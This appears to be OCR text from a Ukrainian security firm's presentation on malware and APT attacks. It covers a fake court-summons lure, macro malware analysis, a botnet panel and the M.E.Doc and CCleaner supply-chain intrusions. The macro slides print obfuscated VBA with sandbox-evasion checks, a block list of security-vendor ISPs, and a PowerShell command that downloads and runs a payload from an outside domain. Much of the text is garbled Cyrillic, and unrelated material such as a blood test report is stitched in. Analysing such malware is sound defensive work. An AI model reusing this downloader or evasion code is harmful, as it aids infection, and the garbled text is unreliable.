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TmuboxomadoeHu nage/maui!

HOpugwauuit nigposain BTE bask cnosimve Bac nipo Te, mo wa Bame ise's 23 .09 2015 poxy, 2a J0moMOT 0K HAMOI TOCTVIH OHIAiH OaHKIHTY, 6viI0 odopMIeHo TOTIBKOBHIT HE
121 716,00 rpueeHs.

Cvaaa Kapabans B M
Ha gatv magcHmanng oporo JQHCTA 0OpPr 2a KpeguToM He o1 14.07 2016 y D00V IpoCTpOYeHHS
85 000,59 rpu.

V 3B 43KV 3 MM, Ha [IOCTAB] KPegHuTHOI VIOZH, CIIEpoOITE
ITOBICTKA ITPO BUKJIMK

HPDH OHVEMO 02HAHOMITHCE 2 HAISHKHHMHE AOKVMcHTAMEH.

Kuiscexuit paftonauit cya M. Xapkie JaHOIO MOBICTKOO MOBLIOMISE BAaC PO HEOOXIAHICTE
Iupo Bam. 3 SBHTHChH B AKOCTI OCOOH, SKa MPHTATAETHCA J0 AIMIHICTPaTHBHOI BianoBigansHocTi 3a cr. 185
BuroHVIOTHE 0G0R A3KH HATATEHHKA BTy Koaexcy Vkpainu npo aaMiHICTPaTHEHI NPABONOPVINEHHA ¥ CVA 414 VHaCTi B CYAOBOMY

Ternc Cozoraii 3acizanHi no crpasi Ne045171-15, axe siadvaersca 28.07.2016 p. o 10:30 & 3aa cyaosux
3acizans No7 3a agpecoro cyay. AKTVATIBHY ajpecy CVAY BH MOXKeTe 3HANTH Ha BeO-CTopiHLi:
http:/court_gov.ua'sudyv

Bu noeHHHI 320€3NeYHTH CBOK ABKY A0 CYAY 418 YHACTi Y 3aCiJaHHI CYAY V NPOLECYATBHOMY
CTaTyCl BLANOBIAa%a
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Mid | "hamamelidaceaellinmimosacese™,

15, 3) + Left ("32 Processunderpass", 10) 'albuterol

soar = "dawselfly™
albuterol =
habitation = =soar

El=ze

STOT HYCOK, HOA3 OACT HAM TaKol pesyabTaT

= KZHX({SBfWQ, Len{pqap))
D0 While Len{xkTMH) < Len(pqQp)

Setzrfl=VHuc
£nd Punction

Public Punction 2rF){ByVal VHuC As Object) As Object

*TMH = XKTMH & Mid{pqQp, fhpsk+ 1, 1)
Jhpsk = KZHX((jhpsk + gGIT), Len(pqQp))

Loop
£nd Punction

| i

End Function

Public Function KMQf{ByVal QHFo As String) As Object
SetxMQf = 2rFiCreateObject(QMFo))

Public Punction s(ByVal paQp As String, ByVal SBIWQ As Integer, ByVal gGIT As Integer) As

Sting
s = Module2 xkTMH{Appication. Ceanstring(pqQp), SBIWQ, §GIT)
End Function

Public Punction 2Fakx(8yVal fRMcd As String, ByVal Wielp As String) As Integer
2FnKx = InStr{LCase{fRMcd), Lcase{wielp))
£nd Function

Bubiic Sub eX2fx{ByVal KAeWz As String)
£17.Raise Number:s1, Description sKAeWz
End Sub

Public Sub cDs}{ByVal INMK As String)
SetbBMmNj = KMQf("WScript, Shell')

Malicious URL

Public Puncton AwckF () As String
AwckF =

“$t={System.10.Path|: GetTempFieName() (New-
Object

System. Net.webChent).DownloadF de{ http //elfarocon
sultants.com/safari/content.bin’, Sf);{New-Object <om
wscript. shell). Exec(sf)"

KER BN ). Run{INmK, 0)
Endsub /
/
. i
Public Function KEM{ByVal OXSF As |
Varant)
Kedh = OXSF
£nd Function

HTTP Requset, with \

PowerShell Start

SandBox Public SubaatH)
& On Error GaTo qTiU
Detection \ f Appication. UserName =  Then Module1. eXzhxs{"Bad usern
If Application. RecentFiles. Count < 3 Then Moduled eX2fx s("Bad history”"
Cjep = ELisx

For Each LYyR In Sspyg.

If Module1.zFnkx(Cjep, LYYR) <> 0 Then Module1. eX2fx s{"8ad ISP", 26, 40)
Next

<0sj dCjge

Exit Sub

qriu:

£nd Sub

detecting public IP of £nd Function
the target.
Public Function iyXA() As String /
fyXA = "powershell.exe -ExecutionPolicy Bypass -Windowstyle Hidden <ommand * /
Public Function ELLSX() As String End Functon
Set VeFU = KMQf(*WinHttp. WinHttpRequest. 5.1%)
KEi VeFLL.Open{*GET *,"https://wifismyip.com/json”), Faise] / /
KER VeFU. Sethequestreader(*User-Agent”, “Mozila/5.0 (compatible; MSIE 10,0; Windows NT 6,1; WOWS4; Trident/6.0)") //
KEh VeFU.Send
If VeFU.Status <> 200 Then
Erm.Raise Number:=4, Description:="Can't conmect to API*
ensif
ELLSX = VeF Ll ResponseText
£nd Punction
ISP Detection
./ pubic Punction dCjge() As String
S i aCjgc = iyXA & AwckF
Public Function Sspyg() As Variant
- €nd Punction

Sspyg = Amay("Amazon®,” Anonymous®,*Bitdefender”,"Blue Coat”,"Cisco
Systems”,"Cloud”,"Data Center”,"Datacenter”,"Dedicated","ESET,

spol” “FireEye","Forcepoint”,“Fortinet”,"Metzner” “Hosted”,"Hosting”,“Lea
seweb”,"Microsoft”,"NForce”,"OVH
SAS",*Proofpoint”,"Security”,*Server”,"strong Technologies”,“Trend
Micro®,“Trustwave”, “blackoakcomputers”,"mimecast”)

£nd Puncron

PSPUBWS - defolt user in Hybird Senbox

Pubic sub

nqEF
End Sub

How many files was opened by user in the past. If less then three, obviously itis a SandBox

What is the ISP, if it is one of the list, this is SandBox

"Win3Z Process"
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Public Function Sspyg() As Variant

Sspyg = Array("Amazon"," Anonymous”,"Bitdefender”,"Blue Coat","Cisco
Systems”,"Cloud”,"Data Center”,"Datacenter”,"Dedicated”,"ESET,

eWeb","Microsoft","NForce","OVH
SAS","Proofpoint”,"Security”,"Server”,"Strong Technologies”,"Trend

Micro","Trustwave","blackoakcomputers”,"mimecast”)
End Function

spol”,"FireEye","Forcepoint”,"Fortinet”,"Hetzner","Hosted","Hosting”,"Leas

Public Function ELLSx() As String

SetVeru = KMQf(“WinHttp. WinHitpRequest.S.1%)

KEih VeFU.Open("GET *, "“https://wtfismyip.com/json™), False)

KEih VeFU. SetRequestreader("User-Agent®, *“Mozila/5.0 (compatible, MSIE 10,0, Windows NT 6,1, WOWS4,; Trident/6.0)")
KEh VeFl.Send

If veFU.Status <> 200 Then

Err.Raise Number:=4, Descrigtion:="Can't connect to API"

End If

ELLSX = VeFU_ResponseText

End Functon

= —

N

Public Sub ngEF{)
On Error GoTo gTiU

Cjep = ELLSx
For Each LYyR In Sspyg

Next

cDsj dCjge
Exit Sub
qTil:

End Sub

If Application.UserName ="PSPUBWS " Then Modulel.eXZfx s("Bad username”)
If Application.RecentFiles.Count <3 Then Modulel.eXZfx s("Bad history")

If Modulel.zFnKx(Cjep, LYyR) <> 0 Then Modulel.eXZfx s("Bad ISP", 26, 40)

= 1} &

Public Function AwckF() As String

End Function

AwckF = "$f=[System.10.Path]:GetTempFileName();(New-Object
o System.Net.WebClient).DownloadFile('http://elfaroconsultants.com/safari/content.bin’,

$f);(New-Object -com WScript.Shell).Exec(Sf)"

& ": &
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g Microsoft Yisual Basic - Issp.ua_slip [design] - [heel {Code}]

Jm File Edit Wiew Insert Format Debug Rum Tools Add-Ins vindow Help

(Ha- | e oo,

Properties - heel

(2) | Ln 7, Col 34 .

0wl M2
X

heel ClassModule

Alphabetic |Categnﬂzed|

=

(Mame)  heel
1 - Private

[

I{Generan

——
'T can see it on your face, yeah, vou lost it
'"Fou thought vou could, thought you could

Dim dowered

'Everybody's saying you're a monster

'21d fashion pass to give wyourself away

Dim interpretation As Integer

'Mothing but pills and low income

'0ld fashion pass to give yvourself away

Dim soar As 3tring

'¥eah, now you're living on, living on

'Make it, kbut the city wonh

Dim habitation A= 3tring

'h Hollywood horror

'four heart's all gone

Dim asquint

'21d fashion pass to give wyourself away

'Fou got we feeling some way

Private handwedown As 3tring

'30 I'1ll say this is the day vou became
'h Hollywood horror
Sub AddQuotes|()
'S0 give yourself away
'Make it, but the city won
Selection. InsertBefore sBegl
'"Fou thought vou could, thought you could
'¥eah, that's where you say yvou're from
ZJelection. Insertifter sEndQ
'Everybody's saying you're a monster
'A Hollywood horror
End Sub
'The city that, city that went
'Make it, but the city won

F
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ISSP

/*@cc_on

= 123;

var a
@*/

.
3

-
Ll

)

i

.
2

print(a)

student
@Mac-Ai
r:~/Work
/jsun
pack-
k-n$ cat ~/Work/
PENDIN
G/viru
siswiftf
59.3s |}
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00409F47 OF | CHUNK FO Y

00409F47

00409F47  loc_409F47 /imag

00409F47 mov [ebp+var_A8], 67616D69h

00409F51 mov [ebp+var _A4], 766c6865h<—6h1p — | %

08409F5B  mov  [ebp+var_A@], 6C6C642ENe~— 411 ]

00409F65 jmp  loc_40B8CS

P0409F65 - END OF FUNCTION FOR 4BA7AC

=
wiEeEP |
9 A3 3B 4E 80 00 OD DB BA 14 OC 34 B2 80 A9 58 8@ op;HAL..-!._ . 4-LiXd 34 B2 80 A9 58
B 4D 6D 20 20 00 04 0D OO 18 OC 34 B2 00 CO 3E 82 Mm--...... 4- L>B == 34 B2 88 CA 3E
i 46 11 55 80 88 F3 55 80 69 6D 61 67 40 BB 00 00 F.UawieUrinaglz] 61 67 65 68 6C
i 08 OC 34 B2 41 CA 4F 88 OF 6C 65 61 75 74 33 32 oleaut32 H 65 61 75 74 33
i 2E 64 6C 6C BB 12 55 80 6E 65 74 61 70 69 33 32 .d11[CI0netapia2 74 61 70 69 33
i 2E 64 6C 6C B8 08 62 81 61 64 76 61 70 69 33 32 .d11[CHBadvapia?2 76 61 70 69 33
i 2E 64 6C 6C ©8 00 88 B8 73 68 65 6C 6C 33 32 2E .d11C—Jhell32? 65 6C &C 33 32
9 64 6C 6C B8 76 65 72 73 69 6F 6E 2E 64 6C 6C 88 dll.versio . 6E 2E 64 6C 60
q 95 BB BB 77 69 OF
65 72 33 32 2E

840
a2
70
3z
32
32
2E
L)
69
64

riNL. . -1 B-REXA
Mm=-..... - _L>B
F.Uaeliimag

. d11L4020leaut3?2 —
-d11..Uinetepig?
.d11..bBadvapis? 3anosiHeHue

.dll....shell32.

version.dll,
=..wini
net.dll .user3d?2.d
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=155 Microsaft Word Objects

4By Forme FOST....GET.http
[ nectarine 1 SSapl. IpLfy .00
=5 Modules e ALALA AL GUID

----- w22 procelariformes

4""2017.56M1. J28148
= Sogunomehad, com
A lesSsgate.phpiht
tp: SSwarmuchperhe
dt .U lsE57gate. p
hpihttp: ““howswe
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[-[27] References
&% TemplateProject (EEFON

A B R

s sAuttoldsuprat.
coms LS5 Farum. ph
pihttpr~~fahecke
Jo. Ul e forum,
phpihttp: “~“harte
dok in.rus1s55F0

) T ]

SHA256: B4ccal322ec8126acbaabdc55e9c4df74ad52f9446ca469da2079749bfb81efb1

File name: macros_extract.exe
Detection ratio: 37 / 56

Analysis date: 2016-12-09 13:00:26 UTC ( 0 minutes ago )

This file was last analysed by VirusTotal on 2016-12-07 11:59:06 UTC (2 days, 1 hour ago)
it was first analysed by VirusTotal on 2016-12-07 11:59:06 UTC.

Detection ratio: 25/55

You can take a look at the last analysis or analyse it again now.
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Loadl ibrarvExAH. .
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Homy BCe Tak CKJIagHO | KOMY Lie BUTIAHO?
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Bots

publication

Obfuscate |
thecode |

Mail
Delivery

Getting
callbacks
with info

Recon info

analysis

Tasks

Service

| Total: &
Online: &
| Deads: 0O

N RS

VMinz003 0% (3)
VWin=pP 40% (23
| Russian Federation 209 (1)
Tutkey 20%: (1)
| United States £0% (3)

T\
S L

[ ]online
Ll only real IP's

Status:
MAT:

Records limit:

- | E | Hcrare B Google

» =
" e

-
-

os

P B, | i i
Bot ID IP address Country Install date Last activity Last task Bu_t . Status
version version
DOoB2559 NAT) B United States us) 07:20:52 17 May | 08:23:52 17 May *0 01.01 Winz003 online
CE9ASFO1 (NAT) B |njted States s 07:19:45 17 May | 08:22:45 17 May #0 01.01 WinxpP online
Q0336B96 (MAT) |8 Russian Federation (RU) 07:19:23 17 May | 08:22:23 17 May #0 01.01 WinypP online
g4pDDCCL EE nited States (Us) 07:17:35 17 May | 08:20:33 17 May #0 01.01 Winz003 online
EC - - A - u - A - k_ l - - w 12
# Command Parameter Countries EJFfL* Enabled Actions
BoOts 29 | Install plugin ¥socks4.110 pack alL 4/0/unlim True [edit] [on/off] [delete]
N Tasks 30 | Download EXE 4% sample_troy.exe aLL D/D,ﬁ’unl?m [ed?t] [on/off] [delete]
b Service 31 U!:udate bot /newbot.exe ALL D/Dfunl!m [ed!t] [on/off] [delete]
(i,
b Bots Task type: Enabled
Tasks Limit (o=not limited): [0 |
add task Service Countries: [ELFR
Enable all tasks Ethiopia ﬁ
| Disable all tasks Europe
| Delete ALL tasks I Fallland Islands {Malvinas)
add task :Z;ajiroe Islands
Enable all tasks Finland
Disable all tasks x
| Delete ALL tasks French Guiana
- B French Paolyrnesia
Gabon
Parameter: W8 oy exe |
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101100
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111110 |\ [ | —
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. M.El.Doc- M.E.Doc - backdoor
intrusion stage 01,175-10.01.178

M.E.DOC - attack %
14.04,2017

M.E.Doc - backdoor
01.150-10.01. 1581

15.05.2017

M.E.Doc - backdoor
01.188-10.01.139

22.06.2017

CCLEAMER. CCLEAMNER CCLEAMNER CCLEANER.
infrusion exploring exploring o Action on T_arget
Attackers frat cyber mimicry cyber mimicry Equipping to companies of the waorld
accessed an Attackers A few days [ater, Between mid-April and July—During this period, the attackers prepared the malicious version of CCleaner, and tried to infiltrate other .
unattended infected the attackers installed % computers in the internal network by installing a keylogger on already compromised systems to steal credentials, and logging in with origina f gyl
workstation of one first computer the 3rd stage administrative privileges through RDP. : fi 4 through the company's
of the CCleaner with the older payload on four mid-April and July - | offidial website for mare
developers, which version of the computers in the : than @ month, and notified
was connected to second stage Firiform network (as F CCleaner, whic Avast immediately.
Piriform network, malware as a mscoree. dll f 13.09.7017
using remote well, library) and a build s
support software server (as a NET
TeamViewer 14.03.2017 runtime library).
11.03.2017 12.04.2017
. . C C | e a n e r = attaCk 0 acquired Piriform
CCLEANER CCLEANER ecurity company
exploring exploring
cyber mimicry cyber mimicry
Using the first Attackers compiled
maching, & customized
attackers version of
penetrated into ShadowPad, an
the second infamous badkdoor
unattended that allows
computer attackers to
connected to the download further
same network malicious modules
and opened a or steal data, and
backdoor this payload the
through company believes
Windows RDP was the third
(Remote stage of the
Desktop Service) CCleaner attack.
protocol
12.03.2017 04.04.2017
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Ak peanbHO CKOPOTUTK Yac BMUABJIEeHHSA APT?
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global cybersecurity workforce will have
more than 1.5 million unfilled positions

by 2020 according to Frost & Sullivan
and (ISC)?

[>xepeno: Harvard Business Review
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global  cybersecurity  market s
estimated to be 250 billion $, while only
darkweb market is estimated to be 2.1
trillion $ by 2019

[xepeno: Cyber Security Ventures
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AK BM3HAUUTM UM HEe 3HAXOAUTbLCH
Balla KoMnaHia nig atakoro Npsamo
3apas?
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Compromise Assessment: “aHani3 kposi” IT iIHppacTpykTypu

Blood Test Results Report

The Blood Test Results Report lists the results of the patient’s Chemistry Screen and CBC and s!
an individual element is outside of the optimal range and/or outside of the clinical lab range. The eleme] ear in the
order in which they appear on the lab test form.

Above Optimal Range Above Standard Range

Alarm High

14 Current 9 Previous 4 Current 8 Previous

0 Current 1 Previous

Below Optimal Range ! Below Standard Range L Alarm Low v

0 Current 0 Previous

9 Current 8 Previous 0 Current 0 Previous

Previous

Jun 14 Jan 27 Impr Optimal Range Standard Range Units
Glucose “\M ] 65.00 - 99.00 mg/dL
Hemoglobin A1C 5.40 5.50 0.00-5.70 %
Insulin - Fasting R (o] 000-23.00  pU/mi
BUN 12.00 11.00 7.00-25.00 mg/dL
Creatinine 081 083 050-1.05 mgfdL
BUN/Creatinine Ratio 15.00 13.25 6.00 - 22.00 Ratio
PSA 0.60 0.60 0.00-4.00 ng/ml
eGFR Non-Afr. American 96.30 95.20 60.00 - 128.00  /min/1.73r
Sodium 140.00 140.00 135.00 - 146.00 mEg/L
Potassium 440 410 350-530 mEg/L
Sodium/Potassium Ratio 3182 3415 30.00 - 35.00 ratio
Chloride 104.00 100.00 98.00 - 110.00 mEg/L
C0o2 2500 26.00 19.00 - 30.00 mEg/L
Anion gap 6.00 - 16.00 mEg/L
Uric Acid, male 430 4.00-8.00 mg/dL
Protein. total 7.10 6.10-8.10 g/dL
Albumin 450 360-510 g/dL
Globulin, total 260 1.90-3.70 gfdL
Albumin/Globulin Ratio 1.70 1.00-250 ratio
P aan acn aen anan il
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Challenges

3anmae yac nobyaysatu
AOCBiAYEHY KOMaHAY

HecTtaua ekcnepTtun3n ans
BuasneHHa 3arpo3

HepocTtaTHbO 3HaHb 3 Guardyoo

Kibep po3cnigyBaHb ans
BignoBigAHOCTI PMHKOBUM Platform
3anuTam

LlinecnpsamoBaHi ataku Bij,
BU3HAUEHUX aTakepiB

3ani3He BUABJIeEHHSA aTak

HepoctaTHA BUAMMICTb 3arpos
Y rereporeHHUX iHppacTpyKTypax
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BuasneHHsA

AHoOManin

AK ue npauytoe

F@, BUTIK AaHUX
N\ACHINEZE/%?

O [TonroBaHHSA
Ha 3arposwu

O\ YnpaB/iHHA
Kibepbe3nekoto
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and machine-assisted threat hunting

User Interface®

Analytics Engine

Log data

o
[\

> Bulk Q@ ¢ |
Correlation Scenario ‘ puny
endpoints - Analysis
Profiling
communications ’\
Logs Quality ‘ /
o '
m Cluster Q0 |:||:||:| Processing -
network Ana]ysis . JO)
#‘ _ _ 3% 45% 60% 55%
I Patterns 10C’s “ = § =
ﬁ matching processing SE=SE
applications
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70 mopenew

7 cTeneHis 3aNeXXHOCTI

(Z) =0 =1 (nn!— k)!

1 342 967 839 TnniB aTaK, WO BUABJ/IAIOTbCA
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GuardYoo BignoBiAEe Ha HACTYMNHI NUTAHHA:

Q Yu nig aTakoro Bu came 3apas?

e Yn rotoBi BM Big3BiTyBaTUCH
BNPOAOBXK 72 roAnH?




# WIRE How An Entire Nation Became Russia's Test Lab for Cyberwar
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I SS o al
»

[nobanbHe BU3HAHHA

HOW AN ENTIRE N\TION BECAME RUSSIN'S TE
LAB FOR CYBERWAR

| | | | | | | | | [ | SHARE

The cl

3raskv npo ISSP y 3MI: 3
Wired, BBC, WSJ, Reuters, Channel Asia, 10Ch Israel, Liberation Ta iH

[puMMaTUmMe yyacTs Y MiKHapPOAHMX 3axodax (BepeceHb-rpyaeHs 2017 p.):

# REUTERS 'S

Bapwasga, lybniH, INpara, Ctokronsm, Mappakew, Aamatu, JIoHaoH, Knis, Tokio, bocToH

CNBC
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T H E CA M B R | D G E Ukraine power cut ‘was cyber-attack’ Top Stories
CYD = R The

S UM M DataSolutlons
- Secur

f v © [ < shae UN: Suu Kyi has 'last chance’ on
Rohingya

Second man held over Tube
bombing

Russia denies bombing Syria
rebels

Computing Forum
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